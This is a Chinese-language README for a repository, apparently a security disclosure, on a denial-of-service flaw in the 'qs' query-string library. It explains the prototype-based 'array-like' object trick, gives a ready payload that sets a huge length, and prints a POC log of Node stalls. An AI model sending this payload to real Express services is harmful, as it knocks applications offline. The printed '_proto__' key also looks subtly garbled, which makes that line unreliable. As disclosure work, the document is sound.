本仓库包含我们在2021年12月发现的JS库“qs”中漏洞的利用示例。
“qs”的易受攻击版本允许在输出的JS对象上创建“proto”属性。
通过将数组设置在“proto”属性中,我们能够创建“类数组”对象。
由于生成的对象继承了“Array”原型,因此它们暴露了原生数组函数。
但由于它们仍然是对象,“qs”允许在其上设置“length”属性。
例如,以下载荷将创建这种“邪恶”数组:
categories[_proto__]&categories[_proto__]&categories[length]=100000000
因此,在其上设置不合理的“length”值将导致节点进程在尝试将其转换为字符串值或调用大多数原生数组函数时冻结。
这使得任何使用易受攻击版本“qs”的Node应用程序(具有默认Express配置且缺乏强验证系统)都暴露于应用层DOS攻击。
以下是./express-qs-string-bomb中的POC日志示例:
发送载荷 : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] 接收到参数 { someString: Array { length: '100000000' } }
[server] 执行 someString + 0
[server] someString + 0 : 6.364s
[server] 执行 someString == "123"
[server] someString == "123" : 6.387s
[server] 直接写入 `Got ${someString}`
[server] 直接写入 `Got ${someString}` : 6.397s
我们的分析还发现存在其他利用方式。
我们在./qs-vulns目录中描述了其中一些。
BRAUN Nathanael & BRISSAUD Johan
来自 EY Security, 法国